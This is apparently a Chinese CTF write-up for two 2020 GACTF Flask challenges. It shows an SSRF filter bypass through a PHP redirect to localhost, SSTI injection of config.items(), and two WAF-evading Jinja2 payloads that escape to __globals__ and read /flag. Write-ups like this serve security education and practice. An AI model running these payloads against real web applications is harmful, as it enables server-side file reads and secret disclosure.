ctf中的Flask ssti

2020 GCTF EZFLASK

进去之后给出了题目的源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# -*- coding: utf-8 -*-
from flask import Flask, request
import requests
from waf import *
import time
app = Flask(__name__)

@app.route('/ctfhint')
def ctf():
hint =xxxx # hints
trick = xxxx # trick
return trick

@app.route('/')
def index():
# app.txt
@app.route('/eval', methods=["POST"])
def my_eval():
# post eval
@app.route(xxxxxx, methods=["POST"]) # Secret
def admin():
# admin requests
if __name__ == '__main__':
app.run(host='0.0.0.0',port=8080)

尝试在eval页面执行命令,发现有waf而且过滤的很严格,不仅过滤了单双引号,还将[] () {}全部过滤掉,看起来不能在这用SSTI做什么事情。源代码中的hint和trick都在ctf函数中,可以用代码对象__code__来进行读取。

属性 描述
co_argcount number of arguments (not including keyword only arguments, * or ** args)
co_code string of raw compiled bytecode
co_cellvars tuple of names of cell variables (referenced by containing scopes)
co_consts tuple of constants used in the bytecode
co_filename name of file in which this code object was created
co_firstlineno number of first line in Python source code
co_flags bitmap of CO_* flags, read more here
co_lnotab encoded mapping of line numbers to bytecode indices
co_freevars tuple of names of free variables (referenced via a function’s closure)
co_kwonlyargcount number of keyword only arguments (not including ** arg)
co_name name with which this code object was defined
co_names tuple of names of local variables
co_nlocals number of local variables
co_stacksize virtual machine stack space required
co_varnames tuple of names of arguments and local variables

在eval函数中输入ctf.__code__.co_consts,读取提示

1
(None, 'the admin route :h4rdt0f1nd_9792uagcaca00qjaf<!-- port : 5000 -->', 'too young too simple')

提示了一个admin路由和5000端口。访问这个路由,给出的提示如下

1
post ip=x.x.x.x&port=xxxx&path=xxx => http://ip:port/path

看起来是要对服务器进行ssrf,于是构造payload

1
ip=127.0.0.1&port=5000&path=/

但是被侦测为攻击,返回hacker?,不允许访问。后来看了Vidar-Team的write-up,因为admin函数中又调用了waf_ip,而其中有下面这些变量,

1
(None, '0.0', '192', '172', '10.0', '233.233', '1234567890.', 15, '.', 4)

还是在eval页面查看admin函数都用了什么库,admin.__code__.co_names,这个属性会返回函数中所有调用的库/函数以及全局变量

1
('request', 'form', 'waf_ip', 'waf_path', 'len', 'requests', 'get', 'format', 'text')

看到其中使用了requests库,那就说明可以用重定向在本地重定向请求。

在自己的服务器上创建重定向页面,在admin路由下访问

1
2
3
<?php
header("Location: http://127.0.0.1:5000/");
?>

得到了源代码

1
2
3
4
5
6
7
8
9
10
11
12
import flask
from xxxx import flag
app = flask.Flask(__name__)
app.config['FLAG'] = flag
@app.route('/')
def index():
return open('app.txt').read()
@app.route('/<path:hack>')
def hack(hack):
return flask.render_template_string(hack)
if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000)

很明显存在SSTI并且没有了过滤,payload如下

1
2
3
<?php
header("Location: http://127.0.0.1:5000/{{config.items()}}");
?>

2020 GACTF simpleflask

同样也是gactf的题,没有这么多弯弯绕,就是bypass。明摆着告诉你有SSTI,就看你怎么绕。测试的时候发现无论怎么拼字符编码都被waf挡了,后来返现原来是过虑了+,搞之前fuzz一下被过滤字符太有必要了。payload倒是不难,下面两个都可以。

1
2
name={{"".__class__.__bases__[0].__subclasses__()[103].__init__.__globals__["op""en"]("/fla""g").read()}}
name={{"".__class__.__base__.__subclasses__()[283].getMessage.__globals__["io"]["open"]("/fla""g").read()}}

但是不会列目录,服务器上用的python3,很多列目录的paylaod都不能用了,只能靠猜。

码一下很全的SSTI payload https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/